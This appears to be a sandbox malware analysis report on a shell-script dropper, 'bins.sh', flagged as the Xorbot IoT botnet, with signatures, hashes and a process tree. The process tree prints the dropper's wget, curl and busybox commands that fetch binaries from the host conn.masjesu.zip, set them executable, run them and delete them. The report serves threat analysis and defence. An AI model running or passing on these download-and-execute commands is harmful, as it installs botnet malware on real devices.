Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

3

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    139s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    14/02/2025, 01:26

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250214-btnsfsyjhk
  • SHA256 7fba33894c8ec79269b8a5ac82076ee2917e6378a516936ee8481aee247f7492
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoverytrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 7 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:704
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:706
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/zfcOIpZQzUtSeDSupMCP9ULbybNKnLpHru
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:708
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/zfcOIpZQzUtSeDSupMCP9ULbybNKnLpHru
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:727
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/zfcOIpZQzUtSeDSupMCP9ULbybNKnLpHru
        2⤵
        • System Network Configuration Discovery
        PID:781
      • /bin/chmod
        chmod 777 zfcOIpZQzUtSeDSupMCP9ULbybNKnLpHru
        2⤵
        • File and Directory Permissions Modification
        PID:812
      • /tmp/zfcOIpZQzUtSeDSupMCP9ULbybNKnLpHru
        ./zfcOIpZQzUtSeDSupMCP9ULbybNKnLpHru
        2⤵
        • System Network Configuration Discovery
        PID:813
      • /bin/rm
        rm zfcOIpZQzUtSeDSupMCP9ULbybNKnLpHru
        2⤵
        • System Network Configuration Discovery
        PID:815
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/qZsmo8frBh5Xu0NF1GiRATUPtaNKlBkSyH
        2⤵
        • System Network Configuration Discovery
        PID:816
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/qZsmo8frBh5Xu0NF1GiRATUPtaNKlBkSyH
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:820

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          qZsmo8frBh5Xu0NF1GiRATUPtaNKlBkSyH
          • Path /tmp/qZsmo8frBh5Xu0NF1GiRATUPtaNKlBkSyH
          • Size 12KB
          • SHA256 280120d680f2ae6e292cf0f6066b52f62222d8978f280ab642d2e0bc465b50b6
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          zfcOIpZQzUtSeDSupMCP9ULbybNKnLpHru
          • Path /tmp/zfcOIpZQzUtSeDSupMCP9ULbybNKnLpHru
          • Size 99KB
          • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download